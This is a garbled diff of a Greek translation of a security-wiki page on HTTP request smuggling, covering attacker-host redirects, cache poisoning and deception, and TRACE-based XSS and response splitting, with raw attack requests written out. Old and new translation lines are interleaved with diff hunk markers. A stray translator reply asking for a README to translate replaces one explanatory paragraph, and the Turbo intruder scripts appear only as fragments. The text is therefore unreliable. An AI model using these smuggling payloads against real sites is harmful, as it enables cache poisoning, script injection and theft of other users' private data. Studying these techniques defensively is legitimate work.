Οι εφαρμογές συχνά κάνουν redirect από ένα URL σε άλλο χρησιμοποιώντας το hostname από το `Host` header στο URL του redirect. Αυτό είναι συνηθισμένο σε web servers όπως Apache και IIS. Για παράδειγμα, το αίτημα για έναν φάκελο χωρίς trailing slash οδηγεί σε redirect για να προστεθεί το slash:
Οι εφαρμογές συχνά ανακατευθύνουν από ένα URL σε άλλο χρησιμοποιώντας το hostname από το header `Host` στην URL ανακατεύθυνσης. Αυτό είναι κοινό σε web servers όπως Apache και IIS. Για παράδειγμα, το αίτημα ενός folder χωρίς trailing slash έχει ως αποτέλεσμα μια ανακατεύθυνση που προσθέτει το slash:
```
GET /home HTTP/1.1
Host: normal-website.com
@ -596,7 +595,7 @@ Host: normal-website.com
HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/
```
Παρόλο που φαίνεται ακίνδυνη, αυτή η συμπεριφορά μπορεί να χειραγωγηθεί χρησιμοποιώντας το HTTP request smuggling για να ανακατευθύνει τους χρήστες σε έναν εξωτερικό ιστότοπο. Για παράδειγμα:
Αν και φαινομενικά ακίνδυνη, αυτή η συμπεριφορά μπορεί να χειραγωγηθεί με HTTP request smuggling για να ανακατευθύνει χρήστες σε έναν εξωτερικό ιστότοπο. Για παράδειγμα:
```
POST / HTTP/1.1
Host: vulnerable-website.com
@ -610,29 +609,29 @@ GET /home HTTP/1.1
Host: attacker-website.com
Foo: X
```
Αυτό το smuggled request θα μπορούσε να προκαλέσει το επόμενο επεξεργασμένο αίτημα χρήστη να ανακατευθυνθεί σε έναν ιστότοπο που ελέγχεται από τον επιτιθέμενο:
Αυτό το smuggled request θα μπορούσε να προκαλέσει το επόμενο επεξεργασμένο αίτημα χρήστη να ανακατευθυνθεί σε attacker-controlled website:
```
GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com
```
Έχει ως αποτέλεσμα:
Οδηγεί σε:
```
HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/
```
Σε αυτό το σενάριο, το αίτημα ενός χρήστη για ένα αρχείο JavaScript υποκλέπτεται. Ο επιτιθέμενος μπορεί δυνητικά να συμβιβάσει τον χρήστη σερβίροντας κακόβουλο JavaScript ως απάντηση.
Σε αυτό το σενάριο, το αίτημα ενός χρήστη για ένα αρχείο JavaScript υποκλέπτεται. Ο επιτιθέμενος μπορεί ενδεχομένως να συμβιβάσει τον χρήστη παρέχοντας κακόβουλο JavaScript ως απάντηση.
### Εκμετάλλευση Web Cache Poisoning μέσω HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
Web cache poisoning μπορεί να εκτελεστεί αν οποιοδήποτε στοιχείο της **front-end υποδομής αποθηκεύει περιεχόμενο**, συνήθως για βελτίωση της απόδοσης. Με την παραποίηση της απάντησης του server, είναι δυνατόν να **poison the cache**.
Το Web cache poisoning μπορεί να εκτελεστεί αν οποιοδήποτε στοιχείο της **front-end υποδομής cacheάρει περιεχόμενο**, συνήθως για βελτίωση της απόδοσης. Με τη χειραγώγηση της απάντησης του server, είναι δυνατό να **μολυνθεί η cache**.
Προηγουμένως, παρατηρήσαμε πώς οι απαντήσεις του server μπορούν να αλλαχθούν ώστε να επιστρέψουν σφάλμα 404 (ανατρέξτε στα [Basic Examples](#basic-examples)). Ομοίως, είναι εφικτό να ξεγελάσετε τον server ώστε να παραδώσει το περιεχόμενο του `/index.html` ως απάντηση σε αίτημα για `/static/include.js`. Ως αποτέλεσμα, το περιεχόμενο του `/static/include.js` αντικαθίσταται στην cache με εκείνο του `/index.html`, καθιστώντας το `/static/include.js` μη προσβάσιμο στους χρήστες, κάτι που ενδέχεται να οδηγήσει σε Denial of Service (DoS).
Προηγουμένως, παρατηρήσαμε πώς οι απαντήσεις του server μπορούσαν να αλλαχθούν ώστε να επιστρέφουν σφάλμα 404 (βλ. [Basic Examples](#basic-examples)). Ομοίως, είναι εφικτό να ξεγελάσετε τον server ώστε να επιστρέψει το περιεχόμενο του `/index.html` ως απάντηση σε αίτημα για `/static/include.js`. Κατά συνέπεια, το περιεχόμενο του `/static/include.js` αντικαθίσταται στην cache με αυτό του `/index.html`, καθιστώντας το `/static/include.js` μη προσβάσιμο από τους χρήστες, πράγμα που ενδέχεται να οδηγήσει σε Denial of Service (DoS).
Αυτή η τεχνική γίνεται ιδιαίτερα ισχυρή αν ανακαλυφθεί μια **Open Redirect vulnerability** ή αν υπάρχει **on-site redirect to an open redirect**. Τέτοιες ευπάθειες μπορούν να εκμεταλλευτούν ώστε να αντικατασταθεί το αποθηκευμένο στην cache περιεχόμενο του `/static/include.js` με ένα script υπό τον έλεγχο του επιτιθέμενου, ουσιαστικά επιτρέποντας μια εκτεταμένη Cross-Site Scripting (XSS) επίθεση εναντίον όλων των clients που ζητούν το ενημερωμένο `/static/include.js`.
Αυτή η τεχνική γίνεται ιδιαίτερα ισχυρή αν εντοπιστεί μια ευπάθεια τύπου **Open Redirect** ή αν υπάρχει ένας on-site redirect προς open redirect. Τέτοιες ευπάθειες μπορούν να εκμεταλλευτούν ώστε να αντικατασταθεί το cached περιεχόμενο του `/static/include.js` με ένα script υπό τον έλεγχο του επιτιθέμενου, επιτρέποντας ουσιαστικά μια ευρέως διαδεδομένη επίθεση Cross-Site Scripting (XSS) έναντι όλων των clients που ζητούν το ενημερωμένο `/static/include.js`.
Παρακάτω ακολουθεί μια απεικόνιση της εκμετάλλευσης του **cache poisoning combined with an on-site redirect to open redirect**. Ο στόχος είναι να αλλαχθεί το περιεχόμενο της cache του `/static/include.js` ώστε να εξυπηρετεί JavaScript κώδικα υπό τον έλεγχο του επιτιθέμενου:
Παρακάτω υπάρχει μια απεικόνιση της εκμετάλλευσης **cache poisoning combined with an on-site redirect to open redirect**. Ο στόχος είναι να αλλάξει το περιεχόμενο της cache του `/static/include.js` ώστε να σερβίρει JavaScript κώδικα υπό τον έλεγχο του επιτιθέμενου:
```
POST / HTTP/1.1
Host: vulnerable.net
@ -650,20 +649,20 @@ Content-Length: 10
x=1
```
Σημειώστε το ενσωματωμένο αίτημα που στοχεύει το `/post/next?postId=3`. Αυτό το αίτημα θα ανακατευθυνθεί στο `/post?postId=4`, χρησιμοποιώντας την τιμή του **Host header** για να προσδιορίσει τον domain. Αλλάζοντας το **Host header**, ο επιτιθέμενος μπορεί να ανακατευθύνει το αίτημα στο δικό του domain (**on-site redirect to open redirect**).
Σημειώστε το ενσωματωμένο request που στοχεύει το `/post/next?postId=3`. Αυτό το request θα αναδρομολογηθεί σε `/post?postId=4`, χρησιμοποιώντας την τιμή του **Host header value** για να προσδιορίσει το domain. Αλλάζοντας το **Host header**, ο attacker μπορεί να αναδρομολογήσει το request στο domain του (**on-site redirect to open redirect**).
Μετά από επιτυχή **socket poisoning**, πρέπει να ξεκινήσει ένα **GET request** για το `/static/include.js`. Αυτό το αίτημα θα μολυνθεί από το προηγούμενο αίτημα **on-site redirect to open redirect** και θα φέρει το περιεχόμενο του script που ελέγχεται από τον επιτιθέμενο.
Μετά από επιτυχή **socket poisoning**, ένα **GET request** για `/static/include.js` πρέπει να ξεκινήσει. Αυτό το request θα μολυνθεί από το προηγούμενο **on-site redirect to open redirect** request και θα ανακτήσει το περιεχόμενο του script που ελέγχεται από τον attacker.
Στη συνέχεια, οποιοδήποτε αίτημα για το `/static/include.js` θα επιστρέφει το αποθηκευμένο (cached) περιεχόμενο του script του επιτιθέμενου, εκτοξεύοντας ουσιαστικά μια ευρεία επίθεση XSS.
Στη συνέχεια, οποιοδήποτε request για `/static/include.js` θα σερβίρει το cached περιεχόμενο του script του attacker, εκτοξεύοντας ουσιαστικά μια ευρεία XSS επίθεση.
### Χρήση HTTP request smuggling για web cache deception <a href="#using-http-request-smuggling-to-perform-web-cache-deception" id="using-http-request-smuggling-to-perform-web-cache-deception"></a>
### Χρήση HTTP request smuggling για την εκτέλεση web cache deception <a href="#using-http-request-smuggling-to-perform-web-cache-deception" id="using-http-request-smuggling-to-perform-web-cache-deception"></a>
> **What is the difference between web cache poisoning and web cache deception?**
> **Ποια είναι η διαφορά μεταξύ web cache poisoning και web cache deception;**
>
> - In **web cache poisoning**, the attacker causes the application to store some malicious content in the cache, and this content is served from the cache to other application users.
> - In **web cache deception**, the attacker causes the application to store some sensitive content belonging to another user in the cache, and the attacker then retrieves this content from the cache.
> - Στο **web cache poisoning**, ο attacker προκαλεί την εφαρμογή να αποθηκεύσει κάποιο κακόβουλο περιεχόμενο στο cache, και αυτό το περιεχόμενο σερβίρεται από το cache σε άλλους χρήστες της εφαρμογής.
> - Στο **web cache deception**, ο attacker προκαλεί την εφαρμογή να αποθηκεύσει κάποιο ευαίσθητο περιεχόμενο που ανήκει σε άλλον χρήστη στο cache, και ο attacker στη συνέχεια ανακτά αυτό το περιεχόμενο από το cache.
Ο επιτιθέμενος δημιουργεί ένα smuggled request που ανακτά ευαίσθητο περιεχόμενο συγκεκριμένου χρήστη. Εξετάστε το ακόλουθο παράδειγμα:
Ο attacker δημιουργεί ένα smuggled request που φέρνει ευαίσθητο περιεχόμενο συγκεκριμένου χρήστη. Εξετάστε το ακόλουθο παράδειγμα:
```markdown
`POST / HTTP/1.1`\
`Host: vulnerable-website.com`\
@ -674,17 +673,17 @@ x=1
`GET /private/messages HTTP/1.1`\
`Foo: X`
```
Εάν αυτό το smuggled request δηλητηριάσει ένα cache entry προοριζόμενο για static content (π.χ., `/someimage.png`), τα ευαίσθητα δεδομένα του θύματος από το `/private/messages` μπορεί να αποθηκευτούν στο cache entry του static content. Κατά συνέπεια, ο επιτιθέμενος θα μπορούσε ενδεχομένως να ανακτήσει αυτά τα αποθηκευμένα στην cache ευαίσθητα δεδομένα.
Αν αυτό το smuggled request δηλητηριάσει μια cache entry που προορίζεται για static content (π.χ. `/someimage.png`), τα sensitive data του victim από το `/private/messages` μπορεί να αποθηκευτούν υπό την cache entry του static content. Κατά συνέπεια, ο attacker θα μπορούσε ενδεχομένως να ανακτήσει αυτά τα cached sensitive data.
### Κατάχρηση του TRACE μέσω HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
### Abusing TRACE via HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
[**In this post**](https://portswigger.net/research/trace-desync-attack) προτείνεται ότι εάν ο διακομιστής έχει ενεργοποιημένη τη μέθοδο TRACE, θα μπορούσε να είναι εφικτό να την καταχραστεί κάποιος με HTTP Request Smuggling. Αυτό συμβαίνει επειδή αυτή η μέθοδος θα ανακλά οποιαδήποτε κεφαλίδα (header) αποσταλεί στον διακομιστή ως μέρος του σώματος της απάντησης. Για παράδειγμα:
[**In this post**](https://portswigger.net/research/trace-desync-attack) προτείνεται ότι, αν ο server έχει ενεργοποιημένη τη μέθοδο TRACE, θα μπορούσε να είναι δυνατό να την καταχραστεί κανείς μέσω HTTP Request Smuggling. Αυτό συμβαίνει επειδή αυτή η μέθοδος θα αντικατοπτρίζει οποιοδήποτε header αποστέλλεται στον server ως μέρος του body της response. Για παράδειγμα:
```
TRACE / HTTP/1.1
Host: example.com
XSS: <script>alert("TRACE")</script>
```
Please paste the README.md content you want translated. I will return the Markdown with the English → Greek translation, following your rules.
Παρακαλώ επικολλήστε εδώ το περιεχόμενο του αρχείου README.md που θέλετε να μεταφραστεί.
```
HTTP/1.1 200 OK
Content-Type: message/http
@ -695,15 +694,15 @@ Host: vulnerable.com
XSS: <script>alert("TRACE")</script>
X-Forwarded-For: xxx.xxx.xxx.xxx
```
Ένα παράδειγμα για το πώς να εκμεταλλευτείτε αυτή τη συμπεριφορά θα ήταν να **smuggle πρώτα ένα HEAD request**. Αυτό το request θα απαντηθεί μόνο με τα **headers** ενός GET request (**`Content-Type`** μεταξύ αυτών). Και να smuggle **αμέσως μετά το HEAD ένα TRACE request**, το οποίο θα είναι **αντικατοπτρίζοντας τα αποσταλμένα δεδομένα**.\
Καθώς η απάντηση του HEAD θα περιέχει ένα header `Content-Length`, η **απάντηση του TRACE request θα θεωρηθεί ως το body της απάντησης του HEAD, συνεπώς αντικατοπτρίζοντας αυθαίρετα δεδομένα** στην απάντηση.\
Αυτή η απάντηση θα σταλεί στο επόμενο request πάνω στη σύνδεση, οπότε αυτό θα μπορούσε να **χρησιμοποιηθεί σε ένα cached JS αρχείο για παράδειγμα για την εισαγωγή αυθαίρετου JS κώδικα**.
Ένα παράδειγμα για το πώς να καταχραστεί κανείς αυτή τη συμπεριφορά θα ήταν να **smuggle πρώτα ένα HEAD request**. Αυτό το request θα απαντηθεί μόνο με τα **headers** ενός GET request (**`Content-Type`** ανάμεσά τους). Και να smuggle **αμέσως μετά το HEAD ένα TRACE request**, το οποίο θα **επιστρέφει τα αποσταλμένα δεδομένα**.\\
Εφόσον η HEAD response θα περιέχει ένα header `Content-Length`, η **response του TRACE request θα θεωρηθεί ως το σώμα της HEAD response, επομένως αντικατοπτρίζοντας αυθαίρετα δεδομένα** στην απάντηση.\\
Αυτή η response θα σταλεί στο επόμενο request πάνω στη σύνδεση, οπότε αυτό θα μπορούσε να **χρησιμοποιηθεί σε ένα cached JS file για παράδειγμα για να εγχύσει αυθαίρετο JS κώδικα**.
### Κατάχρηση του TRACE μέσω HTTP Response Splitting <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
### Κατάχρηση TRACE μέσω HTTP Response Splitting <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
Συνιστάται να ακολουθήσετε [**this post**](https://portswigger.net/research/trace-desync-attack) για έναν άλλο τρόπο κατάχρησης της μεθόδου TRACE. Όπως αναφέρθηκε, με το smuggling ενός HEAD request και ενός TRACE request είναι δυνατό να **ελεγχθούν κάποια αντικατοπτριζόμενα δεδομένα** στην απάντηση του HEAD request. Το μήκος του body του HEAD request υποδεικνύεται ουσιαστικά από το header `Content-Length` και σχηματίζεται από την απάντηση στο TRACE request.
Continue following [**this post**](https://portswigger.net/research/trace-desync-attack) is suggested another way to abuse the TRACE method. Όπως αναφέρεται, με το smuggling ενός HEAD request και ενός TRACE request είναι δυνατό να **ελεγχθούν ορισμένα reflected data** στην response του HEAD request. Το μήκος του σώματος του HEAD request υποδεικνύεται ουσιαστικά από το header `Content-Length` και σχηματίζεται από την response του TRACE request.
Συνεπώς, η νέα ιδέα είναι ότι, γνωρίζοντας αυτό το `Content-Length` και τα δεδομένα που παρέχονται στην απάντηση του TRACE, είναι δυνατό να κάνετε ώστε η απάντηση του TRACE να περιέχει μια έγκυρη HTTP response μετά το τελευταίο byte που ορίζεται από το `Content-Length`, επιτρέποντας σε έναν επιτιθέμενο να ελέγξει πλήρως το request για την επόμενη απάντηση (που θα μπορούσε να χρησιμοποιηθεί για να πραγματοποιήσει cache poisoning).
Επομένως, η νέα ιδέα είναι ότι, γνωρίζοντας αυτό το `Content-Length` και τα δεδομένα που επιστρέφονται στην response του TRACE, είναι δυνατόν να κάνουμε την response του TRACE να περιέχει μια έγκυρη HTTP response μετά το τελευταίο byte που καθορίζει το Content-Length, επιτρέποντας σε έναν επιτιθέμενο να ελέγχει πλήρως το request προς την επόμενη response (το οποίο θα μπορούσε να χρησιμοποιηθεί για cache poisoning).
Example:
```
@ -724,7 +723,7 @@ Content-Length: 44\r\n
\r\n
<script>alert("response splitting")</script>
```
Θα δημιουργήσει αυτές τις responses (παρατήρησε πώς η HEAD response έχει ένα Content-Length που κάνει την TRACE response μέρος του HEAD body και, μόλις το HEAD Content-Length τελειώσει, μια έγκυρη HTTP response smuggled):
Θα δημιουργήσει αυτές τις απαντήσεις (παρατήρησε πώς η HEAD απάντηση έχει Content-Length, κάνοντας την TRACE απάντηση μέρος του σώματος της HEAD, και μόλις τελειώσει το Content-Length της HEAD, μια έγκυρη HTTP απάντηση εισάγεται):
```
HTTP/1.1 200 OK
Content-Type: text/html
@ -745,16 +744,16 @@ Content-Length: 50
<script>alert(arbitrary response)</script>
```
### Οπλοποίηση του HTTP Request Smuggling με HTTP Response Desynchronisation
### Οπλοποίηση HTTP Request Smuggling με HTTP Response Desynchronisation
Έχετε βρει κάποια ευπάθεια HTTP Request Smuggling και δεν ξέρετε πώς να την εκμεταλλευτείτε; Δοκιμάστε αυτήν την άλλη μέθοδο εκμετάλλευσης:
Έχετε βρει κάποια ευπάθεια HTTP Request Smuggling και δεν ξέρετε πώς να την εκμεταλλευτείτε; Δοκιμάστε αυτές τις άλλες μεθόδους εκμετάλλευσης:
{{#ref}}
../http-response-smuggling-desync.md
{{#endref}}
### Άλλες Τεχνικές HTTP Request Smuggling
### Άλλες τεχνικές HTTP Request Smuggling
- Browser HTTP Request Smuggling (Client Side)
@ -770,7 +769,7 @@ browser-http-request-smuggling.md
request-smuggling-in-http-2-downgrades.md
{{#endref}}
## Turbo intruder scripts
## Σενάρια Turbo intruder
### CL.TE
@ -859,14 +858,14 @@ table.add(req)
```
## Εργαλεία
- HTTP Hacker (Burp BApp Store) οπτικοποιεί την concatenation/framing και τη χαμηλού επιπέδου συμπεριφορά του HTTP
- HTTP Hacker (Burp BApp Store) οπτικοποιεί τη συνένωση/πλαισίωση και τη χαμηλού επιπέδου συμπεριφορά του HTTP
- https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda Burp Repeater Custom Action "Smuggling or pipelining?"
- [https://github.com/anshumanpattnaik/http-request-smuggling](https://github.com/anshumanpattnaik/http-request-smuggling)
- [https://github.com/PortSwigger/http-request-smuggler](https://github.com/PortSwigger/http-request-smuggler)
- [https://github.com/gwen001/pentest-tools/blob/master/smuggler.py](https://github.com/gwen001/pentest-tools/blob/master/smuggler.py)
- [https://github.com/defparam/smuggler](https://github.com/defparam/smuggler)
- [https://github.com/Moopinger/smugglefuzz](https://github.com/Moopinger/smugglefuzz)
- [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): Αυτό το εργαλείο είναι grammar-based HTTP Fuzzer χρήσιμο για την ανίχνευση περίεργων ασυνεπειών στο request smuggling.
- [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): Αυτό το εργαλείο είναι ένας HTTP Fuzzer βασισμένος σε γραμματική, χρήσιμος για τον εντοπισμό περίεργων ασυμφωνιών στο request smuggling.
## Αναφορές
@ -879,7 +878,7 @@ table.add(req)
- [https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/](https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/)
- [https://portswigger.net/research/trace-desync-attack](https://portswigger.net/research/trace-desync-attack)
- [https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
- Προσοχή στα ψευδώς‑θετικά: πώς να διακρίνετε το HTTP pipelining από το request smuggling [https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling](https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling)
- Προσοχή στο ψευδώς θετικό: πώς να διακρίνετε το HTTP pipelining από το request smuggling [https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling](https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling)
- [https://http1mustdie.com/](https://http1mustdie.com/)
- BrowserPowered Desync Attacks [https://portswigger.net/research/browser-powered-desync-attacks](https://portswigger.net/research/browser-powered-desync-attacks)
- PortSwigger Academy clientside desync [https://portswigger.net/web-security/request-smuggling/browser/client-side-desync](https://portswigger.net/web-security/request-smuggling/browser/client-side-desync)